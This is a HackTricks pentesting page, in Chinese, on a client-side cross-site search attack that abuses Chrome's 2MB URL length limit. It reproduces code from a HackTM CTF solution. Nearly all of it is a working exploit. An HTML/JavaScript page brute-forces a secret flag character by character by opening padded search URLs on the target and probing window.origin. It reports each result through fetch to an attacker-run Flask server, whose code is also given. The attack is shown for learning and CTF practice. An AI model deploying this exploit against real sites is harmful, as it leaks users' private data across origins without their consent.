hacktricks/pentesting-web/xs-search/url-max-length-client-side.md

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# URL最大长度 - 客户端
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
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* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
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</details>
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从[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)复制的代码
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```html
<html>
<body></body>
<script>
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(async () => {
const curr = "http://secrets.wtl.pw/search?query=HackTM{"
const leak = async (char) => {
fetch("/?try=" + char)
let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
const check = async () => {
try {
w.origin
} catch {
fetch("/?nope=" + char)
return
}
setTimeout(check, 100)
}
check()
}
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i])
await new Promise(resolve => setTimeout(resolve, 50))
}
})()
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</script>
</html>
```
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服务器端:
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```python
from flask import Flask, request
app = Flask(__name__)
CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []
@app.route('/', methods=['GET'])
def index():
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global chars
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nope = request.args.get('nope', '')
if nope:
chars.append(nope)
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remaining = [c for c in CHARSET if c not in chars]
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print("Remaining: {}".format(remaining))
return "OK"
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@app.route('/exploit.html', methods=['GET'])
def exploit():
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return open('exploit.html', 'r').read()
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if __name__ == '__main__':
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app.run(host='0.0.0.0', port=1337)
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```
<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
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</details>